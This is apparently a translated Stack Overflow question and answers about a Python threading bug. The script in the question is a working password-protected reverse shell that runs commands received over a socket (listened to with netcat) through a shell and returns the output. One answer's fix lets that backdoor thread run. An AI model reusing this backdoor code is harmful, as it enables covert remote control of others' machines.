如何修复 python 脚本被函数阻止，即使它是多线程的

Question

我正在尝试一个我为了好玩而制作的后门程序，它是多线程的，但只有第一个线程被初始化，然后程序的其余部分被阻塞，直到函数结束。它应该每 10 秒打印一次时间，但同时有一个后门运行ning。

我使用 netcat 与脚本通信。 'nc -l 1234' 在终端

我试图在初始化后立即打印，但没有打印任何东西。

如果我先初始化另一个线程，另一个线程就会被阻塞。（第一个到工厂的人。）

第一个线程函数。必须在下一个开始之前结束。

导入和大部分变量，包括锁。

import socket
import subprocess
import threading
import time

port = 1234
passw = 'Password'
host = 'localhost'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

print_lock = threading.Lock()
sleep_lock = threading.Lock()

函数

def clock():
    with print_lock:
        print(time.time())
    with sleep_lock:
        time.sleep(10)
    clock()

def login():
    s.send("Login > ".encode('utf-8'))
    usrPassw = s.recv(1024)

    if(usrPassw.decode('utf-8').strip() == passw):
        s.send("Successfully Connected!\n".encode('utf-8'))
        s.send("> ".encode('utf-8'))
        revShell()
    else:
        s.send("Wrong Password!\n".encode('utf-8'))
        login()

def revShell():
    global s
    while True:
        inData = s.recv(1024)

        if(inData.decode('utf-8').strip() == 'logout'):
            break

        sp = subprocess.Popen(inData, shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE)
        output = sp.stdout.read() + sp.stderr.read()
        s.send(output.encode('utf-8'))
        s.send('> '.encode('utf-8'))

这会被初始化

tt = threading.Thread(target = clock(), name = "Clock Thread")
tt.start()

这不

bdt = threading.Thread(target = login(), name = "Backdoor Thread")
bdt.start()

我希望两个线程同时运行但它们没有，第一个阻塞主线程，第二个线程被初始化。

Answer 1

您还没有提供您的线程实例 init()，所以我们有点一头雾水。

不过，一般的做法是

子类threading.Thread，在实例的init()函数中，确保调用threading.Thread.__init__(self)
在您的 __main__() 例程中，调用 os.fork() 然后如果在子进程中调用 run().

我在 https://github.com/jmcp/jfy-monitor/blob/master/jfymonitor.py

上有一个这方面的功能示例

Answer 2

这里有问题，在"threading.Thread"中，"target"参数应该是函数名，不要在你的函数后面加括号，只放函数名：

改变这些

tt = threading.Thread(target = clock(), name = "Clock Thread")
tt.start()

bdt = threading.Thread(target = login(), name = "Backdoor Thread")
bdt.start()

至：

tt = threading.Thread(target = clock, name = "Clock Thread")
tt.start()

bdt = threading.Thread(target = login, name = "Backdoor Thread")
bdt.start()

如何修复 python 脚本被函数阻止，即使它是多线程的

How to fix python script being blocked by function even thought it's multithreaded

python

multithreading

python-multithreading